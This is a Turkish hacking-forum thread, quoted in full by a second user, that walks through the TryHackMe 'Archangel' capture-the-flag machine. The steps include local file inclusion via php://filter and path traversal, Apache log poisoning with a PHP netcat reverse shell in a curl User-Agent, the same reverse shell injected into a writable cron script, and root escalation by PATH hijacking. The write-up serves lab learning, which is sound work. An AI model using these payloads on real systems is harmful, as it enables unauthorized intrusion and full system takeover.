TryHackMe | Archangel

Will Graham

Katılımcı Üye
14 Eki 2022
562
462
Bu konumda archangel adlı makinenin çözümünü, makine sahibinin bizlere verdiği görevleri takip ederek göstereceğim.

1. Görev -> Farklı bir hostname bulun

hostname'i bulabilmek için makinenin ip adresini tarayıcıda açalım.

sv02qc8.png


email adresinden bulmamız gereken domainin mafialive.thm olduğunu öğreniyoruz. bunu sudo nano /etc/hosts komutunu kullanarak /etc/hosts dosyasını açıp, ip adresi ile birlikte içerisine girelim.

c0fqi5w.png


2. Görev -> ilk bayrağı bulun

/etc/hosts dosyasına girdiğimiz hostname'i tarayıcıda açtığımız zaman ilk bayrağa ulaşıyoruz.

m60o8xi.png


3. Görev -> Geliştirilmekte olan sayfayı bulun

Sayfanın kaynak koduna baktığımız zaman herhangi bir bilgi görmüyoruz. bu durumda ffuf vb araçları kullanarak gizli dosyaları uygulama üzerinde bulmaya çalışacağız.

> ffuf -u mafialive.thm/FUZZ -w /usr/share/dirb/wordlists/common.txt -c -ic

avtk72f.png


Tarama sonucunda robots.txt isimli bir dosyanın olduğunu gördük, bu dosyayı uygulama üzerinde açtığımız zaman aradığımız sayfayı buluyoruz.

drclu3c.png


4. Görev -> 2. bayrağı bulun

Elimizde sadece geliştirilmekte olan sayfa yani test.php sayfası var. test.php sayfasını açtığımızda, içerisinde sadece bir buton ile karşılaşıyoruz. butona tıkladığımız zaman sayfa içeriği değişiyor ve url'ye view parametresi ile birlikte bir dosya yolu ekleniyor.

mzeurtt.png


İşaretlediğim yerlere ve sayfa başlığına bakınca, bu sayfada local file inclusion açığının olduğunu anlamak pekte zor olmuyor. view parametresinde ki dosya dizini değiştirdiğim de aşağıda ki şekilde bir hata ile karşılaşıyorum.

neh0woo.png


php kodları içerisinde bir dizi filtreleme yapıyor olmalı. bu filtrelemelerin ne olduğunu öğrenmemiz gerekiyor, bunun için şöyle bir kod kullanabiliriz.

> php://filter/convert.base64-encode/resource=

bu kod sonuna eklenen dosyanın içeriğini base64 koduna çevirerek ekrana yazdırır böylece hem sayfanın içeriğini görüntülemiş oluruz hem de içerisinde bulunan kodlar sayfaya dahil edilip bir hataya sebep olmamış olur. parametreye yukarıda ki kodu ekleyelim ve url'de ki mrrobot.php yazan yere test.php yazalım.

cmqr0lj.png


Gördüğünüz gibi sayfa içeriğini base64'e çevirerek bizlere verdi. şimdi bu kodu base64decode.org sitesinin yardımıyla çözelim.

qkdtken.png


Base64 şifresini çözümledikten sonra 2. bayrağımızı bulduk.

5. Görev -> bir oturum al ve kullanıcı bayrağını bul.

Çıktıda işaretlediğim yere baktığımızda, url içerisinde ../.. verisi olmadığı ve /var/www/html/development_testing/ dizinin parametre içerisinde olduğu durumlarda sadece dosyanın içeriğinin sayfaya dahil edildiğini öğreniyoruz.

bunu geçip dosyaları görüntüleyebilmemiz için şöyle bir dizin yapısı kullanacağız;


> /var/www/html/development_testing/..//..//..//../


Gördüğünüz gibi /var/www/html/development_testing/ dizini parametre içerisinde ve ../ yerine ..// kullanarak (linux sistemlerde ikiside aynı anlamı ifade ediyor) en alt dizine gittik. şimdi /etc/passwd dosyasını görüntüleyebiliyor mu diye bir bakalım.

9u50ymm.png


/etc/passwd dosyasını görüntülemeyi başardık fakat /proc/self/environ dosyasını görüntüleyemiyoruz bu dosyayı kullanarak sistem üzerinde php kodlarını çalıştırabilirdik. bunun yerine yapabileceğimiz benim bildiğim kadarıyla tek şey log dosyalarına php kodlarını eklemektir. ekledikten sonra yukarıda ki gibi log dosyasını açtığımız zaman eklediğimiz php kodu çalışacaktır. tabi önce http üzerinde çalışan servisin ne olduğunu öğrenmeliyiz ki hangi log dosyasını görüntülememiz gerektiğini bilelim.

Sayfayı inceleye bastıktan sonra network bölgesine gelerek sayfayı yenilediğimiz zaman dönen header bilgilerinden, kullanılan http servisinin apache olduğunu öğreniyoruz.

gq6kuj1.png


bu servisin gelen istekleri kayıt ettiği dosyanın yolu /var/log/apache2/access.log şeklindedir.

bccuzck.png


Gördüğünüz gibi makineye giden http isteklerini görüntüleyebiliyoruz. şimdi curl aracını kullanarak siteye bir http isteği göndereğiz. isteğin user agent kısmına shell alabileceğimiz bir komut ekleyeceğiz, böylece sayfayı açtığımızda netcat ile dinlediğimiz port'a bir shell almış olacağız.

> curl http://mafialive.thm/ -H "User-Agent: dam <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.75.89 4444 >/tmp/f');?> dan"

bu komutu terminalde çalıştırmadan önce netcat ile dinlediğiniz portu ve vpn adresinizi ekleyin sonra ise komutu çalıştırıp log dosyasının görüntülendiği sayfayı yenileyin.

bwjta3o.png


aşağıda ki komutu kullanarak shellimizi sağlamlaştırdıktan sonra 2.bayrağı bulmamız gerekiyor.

> export TERM=xterm && python3 -c 'import pty; pty.spawn("/bin/bash")'

sonrasında kullanıcı bayrağını bulmak için cd /home/archangel dizinine gidelim.

8nueo69.png


6. Görev -> 2. kullanıcının bayrağını bul

ls komutunu kullandığımızda dizinin içerisinde secret isimli başka bir dizin olduğunu görmüştük. içeriğini görüntülemeye çalıştığımızda bize yetkimizin olmadığını belirten bir hata döndürüyor. çünkü biz archangel kullanıcısı olarak sisteme giriş yapmadık ve secret dizinini görüntüleme izni olan kullanıcı archangel. aşağıda ki komutu kullanarak, sürekli çalıştırılan dosyaların neler olduğuna bakalım.

> cat /etc/crontab

içerisinde /opt/helloworld.sh isimli bir dosyanın archangel adlı kullanıcının yetkisiyle 1 dk da bir kez çalıştırıldığını gördüm.

6vht77k.png


ls -la /opt/ komutunu kullandığımızda helloworld.sh dosyasının içeriğini değiştirebildiğimizi görebiliyoruz. Aşağıda ki komutu kullanarak, reverse shell alabileceğimiz komutu dosyanın içerisine ekleyelim. Tabi bundan önce netcat ile yine bir portu dinlemeliyiz.

> echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.75.89 9001 >/tmp/f" >> /opt/helloworld.sh

j2pv6mk.png


Gördüğünüz gibi 2. kullanıcı bayrağını da bulduk, geriye tek bir görev kaldı.

7. Görev -> Yetki yükselt ve root.txt dosyasının içerisinde ki bayrağı al

user2.txt dosyasının bulunduğu dizinin içerisinde backup isimli bir dosya daha var. bu dosyayı root yetkisindeymiş gibi çalıştırabiliyoruz. bu dosyayı ./backup şeklinde çalıştırdığımızda üzerinde işlem yaptığı dosyayı bulamadığını söylüyor (cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory).

strings backup komutunu kullandığımızda, "cp /home/user/archangel/myfiles/* /opt/backupfiles" dosyanın içerisinde böyle bir satırın olduğunu görüyoruz. backup dosyasını çalıştırdığımız zaman bu komut gerekli dizini bulamadığı için çalışmıyor ve hata veriyor.

belirli bir dizin olmadığı için PATH değişkeni içerisine secret dizinini girdiğimizde, çalıştırdığı "cp /home/user/archangel/myfiles/* /opt/backupfiles" komutunda ki cp (kopyalama komutunu) komutunu, mevcut dizinde ki cp dosyasını kullanarak çalıştırması gerekecek. backup dosyasını çalıştırdığımızda da cp dosyasında ki /bin/bash komutu çalışacak ve root yetkisine erişmiş olacağız.


> echo '#!/bin/bash' > cp

> echo "/bin/bash" >> cp
> chmod +x cp
> export PATH=/home/archangel/secret:$PATH
> ./backup


rczkyib.png


Umarım açıklayıcı olmuştur, zaman ayırıp okuduğunuz için teşekkür ederim.

Makine linki: TryHackMe | Archangel
 
Son düzenleme:

kelvinxry

Katılımcı Üye
23 Ara 2022
364
104
Bu konumda archangel adlı makinenin çözümünü, makine sahibinin bizlere verdiği görevleri takip ederek göstereceğim.

1. Görev -> Farklı bir hostname bulun

hostname'i bulabilmek için makinenin ip adresini tarayıcıda açalım.

sv02qc8.png


email adresinden bulmamız gereken domainin mafialive.thm olduğunu öğreniyoruz. bunu sudo nano /etc/hosts komutunu kullanarak /etc/hosts dosyasını açıp, ip adresi ile birlikte içerisine girelim.

c0fqi5w.png


2. Görev -> ilk bayrağı bulun

/etc/hosts dosyasına girdiğimiz hostname'i tarayıcıda açtığımız zaman ilk bayrağa ulaşıyoruz.

m60o8xi.png


3. Görev -> Geliştirilmekte olan sayfayı bulun

Sayfanın kaynak koduna baktığımız zaman herhangi bir bilgi görmüyoruz. bu durumda ffuf vb araçları kullanarak gizli dosyaları uygulama üzerinde bulmaya çalışacağız.

> ffuf -u mafialive.thm/FUZZ -w /usr/share/dirb/wordlists/common.txt -c -ic

avtk72f.png


Tarama sonucunda robots.txt isimli bir dosyanın olduğunu gördük, bu dosyayı uygulama üzerinde açtığımız zaman aradığımız sayfayı buluyoruz.

drclu3c.png


4. Görev -> 2. bayrağı bulun

Elimizde sadece geliştirilmekte olan sayfa yani test.php sayfası var. test.php sayfasını açtığımızda, içerisinde sadece bir buton ile karşılaşıyoruz. butona tıkladığımız zaman sayfa içeriği değişiyor ve url'ye view parametresi ile birlikte bir dosya yolu ekleniyor.

mzeurtt.png


İşaretlediğim yerlere ve sayfa başlığına bakınca, bu sayfada local file inclusion açığının olduğunu anlamak pekte zor olmuyor. view parametresinde ki dosya dizini değiştirdiğim de aşağıda ki şekilde bir hata ile karşılaşıyorum.

neh0woo.png


php kodları içerisinde bir dizi filtreleme yapıyor olmalı. bu filtrelemelerin ne olduğunu öğrenmemiz gerekiyor, bunun için şöyle bir kod kullanabiliriz.

> php://filter/convert.base64-encode/resource=

bu kod sonuna eklenen dosyanın içeriğini base64 koduna çevirerek ekrana yazdırır böylece hem sayfanın içeriğini görüntülemiş oluruz hem de içerisinde bulunan kodlar sayfaya dahil edilip bir hataya sebep olmamış olur. parametreye yukarıda ki kodu ekleyelim ve url'de ki mrrobot.php yazan yere test.php yazalım.

cmqr0lj.png


Gördüğünüz gibi sayfa içeriğini base64'e çevirerek bizlere verdi. şimdi bu kodu base64decode.org sitesinin yardımıyla çözelim.

qkdtken.png


Base64 şifresini çözümledikten sonra 2. bayrağımızı bulduk.

5. Görev -> bir oturum al ve kullanıcı bayrağını bul.

Çıktıda işaretlediğim yere baktığımızda, url içerisinde ../.. verisi olmadığı ve /var/www/html/development_testing/ dizinin parametre içerisinde olduğu durumlarda sadece dosyanın içeriğinin sayfaya dahil edildiğini öğreniyoruz.

bunu geçip dosyaları görüntüleyebilmemiz için şöyle bir dizin yapısı kullanacağız;


> /var/www/html/development_testing/..//..//..//../


Gördüğünüz gibi /var/www/html/development_testing/ dizini parametre içerisinde ve ../ yerine ..// kullanarak (linux sistemlerde ikiside aynı anlamı ifade ediyor) en alt dizine gittik. şimdi /etc/passwd dosyasını görüntüleyebiliyor mu diye bir bakalım.

9u50ymm.png


/etc/passwd dosyasını görüntülemeyi başardık fakat /proc/self/environ dosyasını görüntüleyemiyoruz bu dosyayı kullanarak sistem üzerinde php kodlarını çalıştırabilirdik. bunun yerine yapabileceğimiz benim bildiğim kadarıyla tek şey log dosyalarına php kodlarını eklemektir. ekledikten sonra yukarıda ki gibi log dosyasını açtığımız zaman eklediğimiz php kodu çalışacaktır. tabi önce http üzerinde çalışan servisin ne olduğunu öğrenmeliyiz ki hangi log dosyasını görüntülememiz gerektiğini bilelim.

Sayfayı inceleye bastıktan sonra network bölgesine gelerek sayfayı yenilediğimiz zaman dönen header bilgilerinden, kullanılan http servisinin apache olduğunu öğreniyoruz.

gq6kuj1.png


bu servisin gelen istekleri kayıt ettiği dosyanın yolu /var/log/apache2/access.log şeklindedir.

bccuzck.png


Gördüğünüz gibi makineye giden http isteklerini görüntüleyebiliyoruz. şimdi curl aracını kullanarak siteye bir http isteği göndereğiz. isteğin user agent kısmına shell alabileceğimiz bir komut ekleyeceğiz, böylece sayfayı açtığımızda netcat ile dinlediğimiz port'a bir shell almış olacağız.

> curl http://mafialive.thm/ -H "User-Agent: dam <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.75.89 4444 >/tmp/f');?> dan"

bu komutu terminalde çalıştırmadan önce netcat ile dinlediğiniz portu ve vpn adresinizi ekleyin sonra ise komutu çalıştırıp log dosyasının görüntülendiği sayfayı yenileyin.

bwjta3o.png


aşağıda ki komutu kullanarak shellimizi sağlamlaştırdıktan sonra 2.bayrağı bulmamız gerekiyor.

> export TERM=xterm && python3 -c 'import pty; pty.spawn("/bin/bash")'

sonrasında kullanıcı bayrağını bulmak için cd /home/archangel dizinine gidelim.

8nueo69.png


6. Görev -> 2. kullanıcının bayrağını bul

ls komutunu kullandığımızda dizinin içerisinde secret isimli başka bir dizin olduğunu görmüştük. içeriğini görüntülemeye çalıştığımızda bize yetkimizin olmadığını belirten bir hata döndürüyor. çünkü biz archangel kullanıcısı olarak sisteme giriş yapmadık ve secret dizinini görüntüleme izni olan kullanıcı archangel. aşağıda ki komutu kullanarak, sürekli çalıştırılan dosyaların neler olduğuna bakalım.

> cat /etc/crontab

içerisinde /opt/helloworld.sh isimli bir dosyanın archangel adlı kullanıcının yetkisiyle 1 dk da bir kez çalıştırıldığını gördüm.

6vht77k.png


ls -la /opt/ komutunu kullandığımızda helloworld.sh dosyasının içeriğini değiştirebildiğimizi görebiliyoruz. Aşağıda ki komutu kullanarak, reverse shell alabileceğimiz komutu dosyanın içerisine ekleyelim. Tabi bundan önce netcat ile yine bir portu dinlemeliyiz.

> echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.75.89 9001 >/tmp/f" >> /opt/helloworld.sh

j2pv6mk.png


Gördüğünüz gibi 2. kullanıcı bayrağını da bulduk, geriye tek bir görev kaldı.

7. Görev -> Yetki yükselt ve root.txt dosyasının içerisinde ki bayrağı al

user2.txt dosyasının bulunduğu dizinin içerisinde backup isimli bir dosya daha var. bu dosyayı root yetkisindeymiş gibi çalıştırabiliyoruz. bu dosyayı ./backup şeklinde çalıştırdığımızda üzerinde işlem yaptığı dosyayı bulamadığını söylüyor (cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory).

strings backup komutunu kullandığımızda, "cp /home/user/archangel/myfiles/* /opt/backupfiles" dosyanın içerisinde böyle bir satırın olduğunu görüyoruz. backup dosyasını çalıştırdığımız zaman bu komut gerekli dizini bulamadığı için çalışmıyor ve hata veriyor.

belirli bir dizin olmadığı için PATH değişkeni içerisine secret dizinini girdiğimizde, çalıştırdığı "cp /home/user/archangel/myfiles/* /opt/backupfiles" komutunda ki cp (kopyalama komutunu) komutunu, mevcut dizinde ki cp dosyasını kullanarak çalıştırması gerekecek. backup dosyasını çalıştırdığımızda da cp dosyasında ki /bin/bash komutu çalışacak ve root yetkisine erişmiş olacağız.


> echo '#!/bin/bash' > cp

> echo "/bin/bash" >> cp
> chmod +x cp
> export PATH=/home/archangel/secret:$PATH
> ./backup


rczkyib.png


Umarım açıklayıcı olmuştur, zaman ayırıp okuduğunuz için teşekkür ederim.

Makine linki: TryHackMe | Archangel
Elinize sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.